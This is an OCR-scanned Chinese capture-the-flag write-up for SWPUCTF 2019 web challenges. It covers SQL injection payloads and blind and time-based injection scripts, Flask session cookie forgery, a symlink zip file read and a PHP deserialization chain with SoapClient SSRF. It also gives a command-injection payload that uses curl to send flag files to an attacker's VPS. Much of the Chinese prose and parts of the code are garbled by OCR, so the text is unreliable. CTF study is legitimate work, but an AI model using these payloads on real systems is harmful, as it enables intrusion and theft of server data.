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You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1" limit 0,1" at line 1
Ir&a Ir&nE H&
FERENE SER

BIREMEE, [HRHREETIE T extractvalue Mupdatexml
2% p&ff Funion, {HRi¥E T or, AfefEHinformation_schema
X Fmysql>5.7HIMRA, AsysBEE, B Zroott FRA Re I

innodb_index_stats Ml innodb_table_stats L& HIEEFMEK, HXfMdatabase namefitable_name,H mysql>5.62, {HZE—
FER A BRI % Flinnodb 5] Z& )

# A table_schema, table name FiNFER
sys.schema_auto_increment_columns #H8&EMFRNENER
sys.schema_table_statistics_with_buffer

sys.x$schema_table_statistics_with_buffer

S HREE

HTFXIILBMNREREMEERSE, EEAEBH L, TAMERAESNLZEN, REMEE BRI E
1. {3 Fjoin+usingI® 55 3K 15 %1 44

?id=-1" union all select*from (select * from users as a join users b)c--+

=R —ANEAEED, BRI RRARAEHRAHERKNS D, BETRENE I T

?id=-1" union all select*from (select * from users as a join users b using(id))c-- -
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2. fifa28i# k55 HEIRES

select "1 from (select 1,2,3 union select * from users)a

BE

select a.1 from (select 1,2,3 union select * from users)a

= 515 g yE I AT LA A

EBAEZRT Hl4a

RATEEN Hpayload
BHR

title=ad'/**/union/**/select/**/1, (select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum
ns),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19, 20,21, '22&content=1&ac=add

SIFE

Ir&s

ads,users

4 ads,users

I'&ms e
3 HEELA

ERAMES S, REALIBEANTR, HHELET RS, RAHlHa2RkA#E, payload:

title=ad'/**/union/**/select/**/1, (select/**/a.2/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/
users)a/**/limit/**/1,1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,1, ' 1&content=1&ac=add
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flag

BN ENag, BLEEREHE=S
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title=ad'/**/union/**/select/**/1, (select/**/a.3/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/
users)a/**/limit/**/1,1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,1, '1&content=1&ac=add
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AR E, FEERANHS BEREER, BRSP4
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47.101.36.165:7777/login

Hello, your name is admin!

RGN upload BB, RN EH R
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404 not found
-->
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Response

J Raw | Headers | Hex |

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8

Cantent-Length: 13 )
SWPUCTF_CSRF_Token: UDVDUKVUXDtFWT prZxlxcXF3d3dIZWURQCME VA mKg==
Server; Werkzeug0.14.1 Python/3.5.2 '
Date: Thu, 05 Dec 2019 13:53:40 GMT

404 not found

base64f#iY
8 %secret_key:
SECRET_KEY:keyqqquwwweee ! @#$%"&*

MG — RIIINERE IR, ER&python2Flpython3fg BAF—#
R Hgithub L/ flask-session-cookie-manager-master AR
YL, fEHITH EkeyRitoken E REEIIINE] 5, INEE] B R4 ~~
BidBeR AT 7

{uusername’: Uadmin’, u'password’: u'1’, u’id’: ‘1’, Uis_login’: True}
(SEN TR

@app.route('/upload’,methods=["GET', 'POST'])
def upload():
if session['id'] != b'1":
return render_template_string(temp)
if request.method=="POST":
m = hashlib.md5()
name = session| 'password’]
name = name+'qweqweque’
name = name.encode(encoding="utf-8")
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding="utf-8")
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file"]
basepath=os.path.dirname(os.path.realpath(__file_))
path = basepath+'/upload/'+md5_ip+"'/'+md5_one+'/'+session[ 'username’ |+"/"
path_base = basepath+'/upload/'+md5_ip+'/"
filename = f.filename
pathname = path+filename
if "zip" != filename.split('."')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return ‘error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:



return ‘error’
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return ‘error’
try:
cmd = "unzip -n -d "+path+" "+ pathname
if emd.find('|"') != -1 or emd.find(';') != -1:
waf()
return ‘error’
os.system(cmd)
except Exception as e:
return ‘error’
unzip_file = zipfile.zZipFile(pathname, 'r")
unzip_filename = unzip_file.namelist()[@]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/") != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return ‘error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers[ 'Content-Type'] = 'image/png’
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html")

@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers[ 'Content-Type'] = 'image/png'’
return resp
else:
return "can't give you"

BEFABE, FE-ANBETH, flagfE ./flag/flag.jpg, MH - MHREKKABEER EA—NMEHE, RFERERE
eI, DE R RERER R

f#ik—

XJLBRAE R T P KA RSO
payload1:

In -s /proc/self/cwd/flag/flag.jpg HyyMbb
zip -ry HyyMbb.zip HyyMbb

X JLKI /proc/self/cwd B HBIHI TI/EH F

payload2:



1In -s /proc/self/environ  HyyMbb

zip -ry HyyMbb.zip  HyyMbb

1n -s /ctf/hgfjakshgfuasguiasguiaaui/myflask/flag/flag.jpg HyyMbb
zip -ry HyyMbb.zip  HyyMbb

/proc/self/environ SUfF BAE T HBRKIFFZR, W LAAFIR flask N 40T 542

payload3:

$(III="awk 'BEGIN{printf \"%c\", 47}' &&curl XxX.XXX.XXX.xxx:9999 -T “echo ${III}ctf${III}hgfjakshgfuasguiasguia
aui${III}myflask${III}flag${III}flag.jpg ).zip

$() M5 SEBR ML B #, HIW todaydate=$(date +%Y%m%d)
PAT date +%Y%m%d) IR [H FIE IR 4rtodaydate
SO HETE Ky & EBLPAT, NERERE BRI~

R —

f=request.files['file"]

path = basepath+'/upload/'+md5_ip+'/'+md5_one+"'/'+session| 'username’|+"/"
filename = f.filename

pathname = path+filename

try:
cmd = "unzip -n -d "+path+" "+ pathname
if emd.find('|") != -1 or emd.find(';') != -1:
waf()

return 'error’

os.system(cmd)

filenameflsession[‘username’ | &ATE R AT, RESHZ PRS-
"unzip -n -d "+path+" "+ pathname
REWIET |M;, [ERAAMAMEA L IERE, AT I IEER AT
WERBEANSHY, flenameE N4, AREHA, FUARFEN
FREIEEN S fEsession[ username’]
HMAF4: &curlvps:8888 #, f4Zlsession)s, [FIfEHE L1 77— HE&Eid: 148 /5 Vi a/upload
HTREBUU LRI, &7 A Afwiteup, KEH—THE
e 1. & base64 ./flag/flag.jpg > tmp/1.txt #

e 2. &curlvps:8888 -d “@/tmp/1.txt” #
e 3. $cat1.txt|baseb4 -d > flag.jpg

B E R Abase64B A AT, BUEZETElvps ERATHEART
RIEHSCAT R E A, TEE #Ebase64 -dEHAE N
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Request Response
J Raw T Params I Headers T Hex 1 J Raw T Headers T Hex 1
POST findex. php?r=Login/Login HTTP/1.1 : HTTR/1.1 200 Ok
Host: 182.92.220.157:11116 Date: Thu, 05 Dec 2019 14:24:23 GMT
Content-Length: 35 Server: Apache/2.4.18 (Ubuntu)
Origin: http://182.92 22015711116 Content-Length: 51
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4, xE4) Connection: close
AppleWeblit/B37 .36 (KHTML, like Gecko) Chrome/73.0.3904.108 Content-Type: text/html; charset=UTF-8
Safari/537.36
Content-Type: application/xml {"code™"202","info™:"error username or password.”}
Accept: **

Referer: http://182.92.220.157:11116/index. php?=Lagin/Index
Accept-Encoding: gzip, deflate

Accept-Language: zh-CH,zh;q=0.9

Connection: close

{"username": admin"l"password":"1"}

BAIFEENR T —F, username i’ BEEHRE

POST findex.php?r=Login/Login HTTP/1.1 : HTTP/1.1 200 OK

Host: 1262f347-0097-447fa%ba-440db030a670.node3. buuoj.cn Semwer: openresty

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; n:71.0) Gecko/20100101 Firefox/71.0 Date: Sun, 29 Dec 2019 17:40:15 GMT

Accept: */* Content-Type: text/html; charset=UTF-8

Accept-Language: zh-CN,zh;g=0.8,zh-TW,q=0.7 ,zh-HK; 3=0.5 en-US;q=0.3 zn;q=0.2 Content-Length: 136

Accept-Encoding: gzip, deflate Connection: close

Referer: http://1262f347-0697-447-a9ha-440db030a670. node3. buuaj. cnfindex. php?r=Login/ndex X-Powered-By: PHP/5.6.40

Content-Type: application/json

Content-Length: 34 <hr /=

Origin: http://1262f347-0097-447+a9ba-440db030a670. node3. buuoj.cn <h>Fatal error</b=: Call to a member function fetch() on boolean in
Connection: close <h=ar/www/html/Lib/DBTool.php</b> on line <h=57</h=<br />
"username":"dd'","password":"dd"l

ERBATEN R K, select N4l

—

POST findex. php?r=Login/Login HTTR/1.1 : HTTP/1.1 200 0K

Host: 1262f347-0097-447-a9ba-440db030a670. node3. buuoj.cn Server: apenresty

UserAgent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64; nv:71.0) Gecko/20100101 Firefox/71.0 Date: Sun, 29 Dec 2019 17:42:40 GMT

Accept: ™ Content-Type: text/html; charset=UTF-8
Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Content-Length: 51

Accept-Encoding: gzip, deflate Connection: close

Referer: http:/(12621347-0b97-447fa9ba-440db030a670.node3. buuoj.enfindex. php?r=Login/Index ¥-Powered-By: PHP/S.E.40

Content-Type: application/json

Content-Length: 38 {"code™"202","info™ "error username or password.”}

Origin: http: /i1 262f347-0b97-447F a9ba-440db030a670. node3. buuoj.cn
Connection: close

TRIBAVER, selectBiidIE T, TRBAVKE T fuzzf 75k, FEISENPRENRRBOI IR REE, LR KI T HIR
SREBOTIE T .

select updatexml extractvalue or and if ascii sleep substr , || &&

S MRBATR I TR, ZiEEE RN, RENOFBEIERRRE, mEREEEERMTURRE202, i FATH

AU R RERIETEE, JthE—MER, KA HIA K&
BN ARG .



#encoding=utf-8
import requests
import json

url = "http://b6056caa-c35b-4ba8-9e0c-646366ffcddd.node3.buuoj.cn/index.php?r=Login/Login"
database = ""
hex_database = ""
i=-1

while i > -10:

for j in range(44,128):

j = chr(J)

k = j.encode( "hex")

username = "'~(case/**/hex(mid(database()/**/from/**/"+str(i)+"))/**/when/**/"+k+hex_database+"/**/then/
**k/1/**/else/**/abs(-9223372036854775808)/**/end)-- -"

#username = "'~(case hex(mid(database() from -1)) when 65 then 1 else abs(-9223372036854775808) end)--

# mid(database() from -1) #Hi&/E— mid(database() from -2) WH R G, THto, iERasciift, tHATL
1E/hexC#;

data = { #XRFFHIEH, L son. dumps
"username" :username,
"password":"1"

}

#print username

data = json.dumps(data)

r = requests.post(url,data=data)

#print r.text

#print r.text

if "202" in r.text:

database = j + database #XILHG) BT
hex_database = k + hex_database #IX L HIR 2T BEXT B HThex
print database
break

i=1i-1

X)L — T mysqlf ' ~eigE R R , BIX T HERENHT, FHRMEI M AL ERE, ANREYERH~~
5208 PR 0 44 7 Rct (H R ILYE T select, ordf, AREMATFT, REMAT —THBIEAN, BHEZTEHF~~, RITEWA
a'ff, e, EHEmAa R AERE202, FrAFEREREN.

POST findex.php?=Login/Login HTTP/1.1 A HTTP/M.1 200 OK

Host: b605Ecaa-c35k-4bab-9e0c-546366ffcddd.node3. buunj.cn 1 Server: openresty

User-Agent: Mozilla/.0 (Windows NT 10.0; Wing4, x64; rv:71.0) Gecko/20100101 Firefox/71.0 Date: Tue, 31 Dec 2019 16:43:41 GMT
Accept: "™ Content-Type: text/html; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,gq=0.7 zh-HK;g=0.5 en-US;q=0.3 en;q=0.2 Content-Length: 51

Accept-Encoding: gzip, deflate Connection: close

Referer: http://bE0SE caa-c35k-4ba8-9e0c-646366fcddd. node3. buuej. cn/index. php?r=Logindndex ¥-FPowered-By: PHP/S.6.40
Content-Type: application/json

Content-Length: 36 {"code™"202","info™: "error username or password."}
Crigin: http://bE05SE caa-c35h-4baB-9e0c-646366ffcddd. node3. buuoj.cn

Connection: close

{"username":"a';","password":"dasd"}l

FATIX ) LEL E B0 H payload::



# -*- coding=utf-8 -*-

import requests
import json
import time

def main():
url = 'http://44213eba-8d88-4193-98fa-769b3eladf23.node3.buuoj.cn/index.php?r=Login/Login’
payloads = "a';set @a=0x{@};prepare ctftest from @a; execute ctftest-- -"
flag = "'
for m in range(30):
print("gI{e}i".format(m))
payload = "select if (ascii(substr((select group_concat(flag) from flag), {0}, 1))={1}, sleep(4), 1)"
# BT BMISF AT ANEG, TUDFEEEALIE, KB ihE e
for n in range(@, 128):
datas = {'username': payloads.format(str_to_hex(payload.format(m, n))), 'passwd': 'test'}
datas = json.dumps(datas) HIFHEH I 20

times = time.time()
res = requests.post(url = url, data = datas)
if time.time() - times >= 3:

flag+=chr(n)

print(flag)

break

def str_to_hex(s):

return ''.join([hex(ord(c)).replace('0x', '') for c in s]) # FIEEBI16 AT
B#
if _name__ == '_main__'

main()
®ER3

flag = "xxx.zip"—MNEZE S, —ANME R KIMVC



H5EH Eflag i B

v TSRS
flag.php

v EEEAAMVC = echo "f]
v $flag =

mmar

Controller

* favicon.ico

flag.php
index.php

if(lempty($_REQUEST['r']1))

I
L

$r = explode('/", $_REQUEST['r’
list($controller,$action) F
$controller $controlle
$action = "ac {$action}”;

if{class_exists($controller))

if(method_exists({$controller,%action))

faction

$controller), $action));

n,/ Inde

‘blog.csdn.n

BRtindex.phpH KIfun.php rif) BRIAE B
Login/index, 1R #E R THREANIE, % —A Logintk €K REHIEE, Tindexds & KR LRI F i — M J7ik, RIBEIBEE=1THRE
call_user_funcif #ife tH~~

% Ja 1 FH A B ot =2

call user_func(array(new Logincontroller, actionIndex))

¥ FlLogincontrollerk ¥ ffjactionindex ¥, &t NS Hi~~,



B RE, BW)LERATTUEIMAE, BT ER, BMEERT BRI 0E TN RRE AT, AR A
B L T

~ Controller

et e imgToBase64($img_file) {

LoginController.php $img_base6d = '°;

UserController.php if (file exists($img_file)) {

> Lib $app_img_file = $img_file;

~ Model $img_info = getimagesize($app_img file);
BaseModel.php
LoginModel.php $fp = fopen($app_img_file, "r"};

UserModel.php if ($Fp) {
$filesize = filesize($app_img_file);

v View $content = fread($fp, $filesize);
(V}T3MAHH@IYVGIBSU[1IE.png $file_content = chunk_split(base64_encode($content));
userindex.php switch ($img_info[2])

case 1: $img_type "gif”;
break;

case 2: $img_type "jpg”;
break;

flag.php case 3: $img_type

index.php break;

3

> static), js

userinfo.php
userLogin.php
* favicon.ico

$img base6d = ‘data:image/’ . $img type . ';basesd,’ . $file content;

b
fclose($fp);

¥

return $img_base&d;

https://blog.csdn.net/a3320315

KRB DREREN—ANSH, BE—AM, baseb4sifd, UBAKEREREK. RITAEFXMEANSHR B iZ~~,
T RIZHI SR EHAEN S, TREANFEW)LIEH Kuserindexti &

UserController BaseController

actionList()
$params = $ REQUEST;
fuserModel = UserModel();
$listData = $userModel->getPagelist($params);
->loadView( "userList’, $listData );

actionIndex()

$listData = $ REQUEST;
->loadView( 'userIndex’,$listData);

hitps://blog.csdn.net/a3320315

X )LEE A T userindex, T H$listDatam] £
B #loadView() & %

$viewPath;
loadView($viewName ="', $viewData




(file exists( -»viewPath})

extract($viewD

XI)LENZEE S, M HSviewDatagi£$_REQUEST, ArbA#i& i T payload

?User/Index&img_file=/../flag.php
R % baseb4 5 7] LA15 Blflag T ~~

ESENTRRETNAESHBL TR
<?php

echo "flag is here,but you must try to see it.";
$flag = "flag{199eab619-4b95-47d0-a5e5-fb11c59b241f}";

Jlog.csdn.ne

0x04 web6 H &5 A A 4158

FHiER—MEAN

loginSELECT * FROM users WHERE username="'admin’ and passwd='admin/wrong username or password

loginSELECT * FROM users WHERE username="or 1=1 -- - and passwd='sfdsaf'Wrong password

FEAITRAE, HRARIEKSEHEEE AN NS, WKW Tpayload



R 42 4k

1’ or ‘1’°=’1’ group by passwd with rollup having passwd is NULL — -

3% )Lwith rollup =38 N —47, HripasswdANULL, having passwd is NULL RoRiEFRABEMEIR—17, BHEMP4E, FBHR
2, FrOABRATE R # A S B A ~~

AT BRI ~~

[F] B 1 AT DAY H K 5 3 -

or passwd > '3' => Wrong password
=> passwdZE—fiN"'3"
or passwd > '4' => wrong username or password



’REAwsdlphp, ITHE—TF

SEAAL | EOE AR e, L K T L SR MR W AR NICL TR Ve W DI D ST WA AW L Sm
</port=>
< fservice>
<message name="indexRequest'> </message>
~<message name="indexResponse" >
<part name="index" type="xsd:string"/>
<fmessage=>
| —<message name="loginRequest" >
<part name="username" type="xsd:string"/>
<part name="passwd" type="xsd:string"/>
<fmessage:
-<message name="loginResponse” >
<part name="login" type="xsd:string"/>
<fmessage>
- <message name="set_cookieRequest" >
<part name="securityfile" type="xsd:string"/ >
< part name="contents" type="xsd:string"/>
«<fmessage>
- <message name="set_cookieResponse” >
<part name="set_cookie" type="xsd:string"/>
<fmessage>
<message name="userRequest”> </message>
-<message name="userResponse" >
<part name="user" type="xsd:string"/>
<fmessage>
-<message name="checkRequest">
< part name="securityfile" type="xsd:string"/>
<fmessage>
- <message name="checkResponse">
<part name="check" tvoe="xsd:strina"/>

HAYBHREHE, Vikget flagin

method can useget flagonly admin in 127.0.0.1 can get flag

L) R W DGPTSR TEGELE e ) B4 LS

DA ssrf
BB RATEBOC
<« ¢ @ D & 132.23275.90/indexphp?method=File reac
o . & D u_ | j D
File_read

you need input something

Z MR FEPOST— S Hfilename=
BB SO A
cooike N XA

welcome guest



<?php

function en_crypt($content, $key){

$key = md5 ($key) ;
$h = 0;
$length = strlen($content);
$swpuctf = strlen($key);
$varch = ig
for ($j = @; $j < $length; $j++)
{

if ($h == $swpuctf)

{

$h = o;

}

$varch .= $key{$h};

$h++;
¥
$swpu = '‘;

for ($j = @; $J < $length; $j++)
{

$swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
¥

return base64_encode($swpu);

B H 5T B I php 25 ST, e A 0t B2 T key 2 5 ] keyaaaaaaaasdfsaf.txtfs 2 i ~~



<?php
function de_crypt($swpu, $key)
{
$key = md5($key);
$swpu = base64_decode($swpu);
$length = strlen($swpu);
$swpuctf = strlen($key);
$varch = '';
$h = @;

for ($j = 0; $j < $length; $j++)

{
if ($h == $swpuctf)
{

$h = 0o;

)
$varch .= $key{$h};
$h++;

)

$content = '';

for ($j = 0; $j < $length; $j++)
{
$content .= chr(ord($swpu{$j}) - ord($varch($j)));
)

return $content;}

$key = 'flag{this_is_false_flag}';
echo de_crypt("3J6Roahxaw==",%key)

g gEd: gl
interface.php

<?php
include( 'Service.php');
$ser = new SoapServer('Service.wsdl',array('soap_version'=>SOAP_1 2));
$ser->setClass('Service');
$ser->handle();
?>

se.php

<?php
ini_set('session.serialize handler', 'php');
class aa
{
public $modi;
public $mod2;
public function _ call($name,$param)

{
if($this->{$name})
{
$s1 = $this->{$name};
$s1();
¥



public function _ get($%ke)

{
return $this->mod2[$ke];
¥
¥
class bb
{
public $modi;
public $mod2;
public function _ destruct()
{
$this->modl->test2();
}
¥
class cc
{
public $modi;
public $mod2;
public $mod3;
public function __ invoke()
{
$this->mod2 = $this->mod3.$this->mod1;
¥
¥
class dd
{
public $name;
public $flag;
public $b;
public function getflag()
{
session_start();
var_dump($_SESSION);
$a = array(reset($_SESSION),$this->flag);
echo call_user_func($this->b,%a);
¥
¥
class ee
{
public $stri;
public $str2;
public function _ toString()
{
$this->strl->{$this->str2}();
return "1";
}
}

$a = $ POST['aa'];
unserialize($a);
?>

BT REANINHE—T ini_set('session.serialize_handler', 'php');
BATAT L _EAETRATIAE B E A% i — scriptBI %) B [ sessiond, ARSI



#encoding=utf-8
import requests
url = input("$TFFburpsuitefRE; HHMHE: ")

data={'PHP_SESSION_UPLOAD PROGRESS': 'kexiugai'}

file = {'file': ('kexiugai.txt', 'xxxx')}

cookies={'PHPSESSID': 'sessid'}

proxies = {'http': 'http://127.0.0.1:8080"'}

req = requests.post(url, data=data, files=file, cookies=cookies, proxies=proxies, verify=False)

X & Soapclientf 51| 4k il 4

<?php

$target = 'http://127.0.0.1/interface.php’;

$headers = array('X-Forwarded-For:127.0.0.1', 'Cookie:user=xZmdm9NxaQ==; PHPSESSID=fuck3' );

$b = new SoapClient(null,array('location' => $target, 'user_agent'=>"'wupcor”'.join('~""',$headers), 'uri' => "aaab"
))s

$aaa = serialize($b);

$aaa = str_replace('**',"\r\n",%aaa);

$aaa = str_replace('&','&"',%aaa);

echo urlencode($aaa);

?>

SoapClientAr @A~

FEEH

public mixed __call ( string $name , array $arguments )

public static mixed J€aRlStatic ( string $name , array $arguments )

EXFRPEBA—TATBEGEN, _call) 2#iEMA.
FERS L TXRRR—TFaARGER, _callstatic) *#ERA.
sname SWERBANGERBM. sarquments SHE—THHMA, BIERELBLHE sname HBH.

Example #2 {EF __call() f1 __callStatic() 375 EE S

__call() AR B & RXT R I target



BATATLL_E4E 7 FI 4L Soapclient, HB4 W{T 7 FI4b IR ? 4n e fh /2 e 2

HIEAIFIASEET session_start() FEhFFIANAHE, PHP AMSARASIEEIE23M open l read [EEER
. FEEHERATEER PHP RUARY, tBAJEERY RIZMHAY (SQLite 34F Memcached 7 R) , tLAJEERET
session_set_save_handler() IR EMABF BEXSIEEEE. BT read BIFRMERNAAELIE (EHREH
HFFIERE) , PHP 2 BHRESNEAIEH BIH% $_SESSION BREBEE,

KEUBEERART
FA15E _EAESoapclient 514k K ST BI%S M ISESSIONF, RESHBIRFFL, EERANTEHSoapclient NEER ik, XA
BT __call)®%, XFERiEEYs Hlinterface.php T, & FEXN B 7%, BB J7 vk B iR [BE{E ~~

#’etargetyindex.php?method=get_flagRASHIREMERK], FAXFERE LBt Soapclient, WRBAIFAHinterface. phpiis Ll
fkSoapclient2t, XHARAERE, FRERE{E

<?php
include('Service.php');
$ser = new SoapServer('Service.wsdl',array('soap_version'=>SOAP_1 2));
$ser->setClass('Service');
$ser->handle();
?>

BATTAEARSEE — T fRSS28Iserver.php

<?php

class Service

{

public function Get_flag(){
return "flag{xxx}";

)

)

$ser = new SoapServer(null,array('uri'=>"'sampleA'));
$ser->setClass('Service');
$ser->handle();

?>

% P iclient.php

<?php

$client = new SoapClient(null, array(
'location'=>"http://127.0.0.1/soap/server.php"’,
‘uri'=>"sampleA’

D)5

echo $client->Get_flag(); //flag{xxx}

BERRWIERTFIIE T

<?php
class bb
{

M2 A4



puopiic >»moadl;
public $mod2;

public function _ construct()

{

$this->modl = new aa();

¥
¥
class aa
{
public $modi;
public $mod2 = [];
public function _ construct()
{
$this->mod2[ 'test2'] = new cc();
}
}
class cc
{
public $mod1;
public $mod2;
public $mod3;
public function __ construct()
{
$this->mod3 = new ee();
$this->mod2 = &$ SESSION['a'];
$this->modl = "fuck";
¥
¥
class ee
{
public $stri;
public $str2;
public function _ construct()
{
$this->strl = new dd();
$this->str2 = "getflag";
}
}
class dd
{
public $name;
public $flag;
public $b;
public function _ construct()
{
$this->b = "call_user_func";
$this->flag = "Get_flag";
¥
¥

$b = new bb();



echo serialize($b);

RMMIETERHA, ERFEI~~
o — I T %

$a = new aa();
$b = new bb();
$c = new cc();
$d = new dd();
$e = new ee();

// 7. WMHcall_user_func(reset($ _SESSION), $d->flag) #ireset($ SESSION) ZsoapclientFt&ftKssrf ZEX—# FEIEu
pload_progress {HEHT/HLY

$d->b = 'call user_func';

$d->flag = 'Get_flag';

// 6. __to_strging LM $this->stri->{$this->str2}(); #t&dd::getflag()
$e->strl = $d;
$e->str2 = 'getflag’;

/I N TFHELE

// 5. fEinvoke FRHFIFE FHEERT, FIYEENR, HrUUESMA ZNRIE__get
$c->mod3 = $e;

$c->modl = $e;

// 2. 2k calls, ZEEHI$name 2% Ftest2, AKE$this->test2 X NEMEHFATFE, HrULHEH_ get

// 3. MK _getht, EEHISke st L% Ftest2, FrLlR2EESthis->mod2[ "test2" ], BHHRENTILSthis->mod2&F— 142, H#Htes
t2 B8 1 Fyc c BIXTR

// 4. M__getEiRAZ JF8s1 = ccHIM R, ZiRfHSs1() BLEA Kinvoke

$a->mod2 = array('test2'=> $c);

/) 1. ZFEHERTFIMEHIHRS R Haa: :test2(), (£aa: :test2() NEE, FEEMAE  call
// __destruct->__call->__get->__get->__1invoke->__toString->getflag

$b->modl = $a;

$x = serialize($b);

// $a = $_POST['aa’];

unserialize($x);



Request Response
y | Raw | Params I Headers | Hex | Hackvertor ] Raw | Headers | Hex | HTML ]' Render ]
POST findex.php HTTR/1.1 4 HTTR/1.1 200 OK [a
Host: dfd69015-7 1b-4cf0-b3f0-EbeSedd363d1. node3. buuoj.cn " Server: openresty ]
A User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; nv:71.0) Gecko/20100101 Firefox/71.0 Date: Sun, 29 Dec 2019 14:50:22 GMT
! Accept: text/html,application/xhtml+xml, application/xml;q=0.9 "/ g=0.8 Content-Type: text/html; charset=UTF-8
Accept-Language: zh-CM,zh;g=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Connection: close
Accept-Encoding: gzip, deflate X-Powered-By: PHP/S.6.40
Content-Type: multipartform-data; boundary=-----------weeee’ 280821492822800 Caontent-Length: 3402
Content-Length: 592
Connection: close method can useindex<!DOCTYPE himi=
Cookie: use=xZmdm3Ihxal==; PHPSESSID=ccc <I-{if # IE 7 ]> <html lang="en" class="no-js ieb #8"> <ifendif]->
Upgrade-Insecurs-Requests: 1 <I{if IET > <htmllang="en" class="no-js ieT t8"> <i[endif]-->
| <I-{if IE8]> <htmllang="en" class="no-js ie8 It8"> <i[endif]-->
----------------------------- 280821452822800 <fif IEQ]> <htmllang="en" class="no-s ie8"> <l[endif]-> -~
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" <I-fif (gt IE Q)I{IE)]=<1--= <html lang="en" class="no-]s"> <I--<i[endif]-->
<head>
|0:10:"SoeapClient™5:{s:3:"uri";s:4:"aaab";s:8: "location”; 5:30: "hitp: /127 0.0 Vinterface php" s:15:"_str <meta charset="UTF-8" />
! eam_context";i0;s:11:"_user_agent";s: 109 "wupco <l-- <meta hitp-equiv="%-UA-Compatible" content="IE=edge,chrome=1"> -
Content-Type: application/s-waww-form-urlencoded <title>Login and Registration Form with HTML5 and CSS3</title>
X-Forwarded-For; 127.0.0.1 <meta name="viewport" content="width=device-width, initial-scale=1.0">
Cookie: user=xZmdmINxal==",5:13"_soap_version";i:1;} <meta name="description" content="Login and Registration Form with HTMLS and CS553" /=
----------------------------- 280821492622800 <meta name="keywords" content="html5, css3, form, switch, animation, ‘target,
Content-Disposition: form-data; name="file"; filename="11.txt" pseudo-class” /=
Content-Type: text/plain <meta name="author" content="Codrops" />
<link rel="shortcut icon" href=". favicon.ico"=>
<link rel="stylesheet" type="text/css" href="css/demo css" />
----------------------------- 280821492822800-- <link rel="stylesheet" type="text/css" href="css/style css" />
<link rel="stylesheet" type="text/css" href="css/animate-custom.css" />
<fhead>
<hody>
<div class="container">
H_J Raw T Params I Headers | Hex | Hackvertor ] J Raw T Headers | Hex | Render ]
"|POST fse.php HTTP/.1 : Server. openresty
Host: dfd69015-7 1fb-4cf0-h9f0-6heSedd363d1 . node3. buuoj.cn Date: Sun, 29 Dec 2019 16:07:38 GMT
User-Agent: Mozilla/s.0 (Windows MNT 10.0; WinB4; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Content-Type: text/html; charset=UTF-8
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 **,q=0.8 Content-Length: 453
Accept-Language: zh-CN,zh;q=0.8,zh-TW,;g=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Connaction: close
Accept-Encoding: gzip, deflate Cache-Contral: no-store, no-cache, must-revalidate, post-check=0, pra
A Referer: http://dfd69015-7 1b-4 £f0-b9f0-ELeS edd363d1 . node3. buuoj.cn/se. php Expires: Thu, 19 Mov 1981 08:52:00 GMT
HContent-Type: application/x-www-form-urlencoded Pragma: no-cache
| Content-Length: 551 ¥-Powered-By: PHR/E.E.40
Crigin: http:/dfd82015-7 1fb-4ef0-bOf0-EbeSedd363d1 . node3. buuoj.cn
Connection: close array(1) {
1| Cookie: user=xZmdm3INxat==, PHPSESSID=sss ["a:1:{s:302:"upload_progress_"]=>
Upgrade-Insecure-Requests: 1 ohject(SoapClient)#6 (3) {
[uri’]=>
2a=10%3A2%3A%22hb%22%3A2 %3 A% T Bs %3A4%3A%22mod] %22 %3B0%3A2%3A%22a%22% N string(4) “aaab”
3A2%3A%T Bs%3A4%3A%22mod] %22 %3BN %385 %3A4%3A%22mod2%22 %382 %3 A1 %3A%T Bs ["location™]=>
%3A%3A%I2test2%22%3IB0%3IAZN3A%RI20c %22 %3AI%IANTBs %344 %3A%I2mod 1 %22 %3B string (30) “http://127.0.0.V/interface.php™
5 %344 %3A%22fuck %22 %385 %344 %3AY 22 mod2 %22 %3BN %385 %344 %3A% 22 mod3%22%3B0 ["_stream_context"]=>
%3A2%3A%22ee%22%3A2%3A%TBs%3A4%3A%225tr1 %22 %3B0%3A2%3A%22dd %22%3A3%3 int(0)
A%?BS%BM%E}A%EQname%22[’;‘63BN%BBS%BM%3A%22ﬂag%22%BBS%BAB%BA%QQGet_ﬂag% ["_user_agent™]=>
22%3B5%3A1%3A%22b%22%3Bs%3A14%3A%22call_user_func%22%3B%70s%3A4%3A%22st2 string(109) “wupco
%22%3Bs%3A7 %3A%22 getllag %22 %36 %7 D %7 D% 7 D% Ds %344 %3A%22mod2%22%3BN%36% Content-Type: application/x-www-form-urlencoded
7D X-Forwarded-For: 127.0.0.1
Cookie: user=xZmdm9NxaQ==""
["_soap_version"]=>
int(1)
}

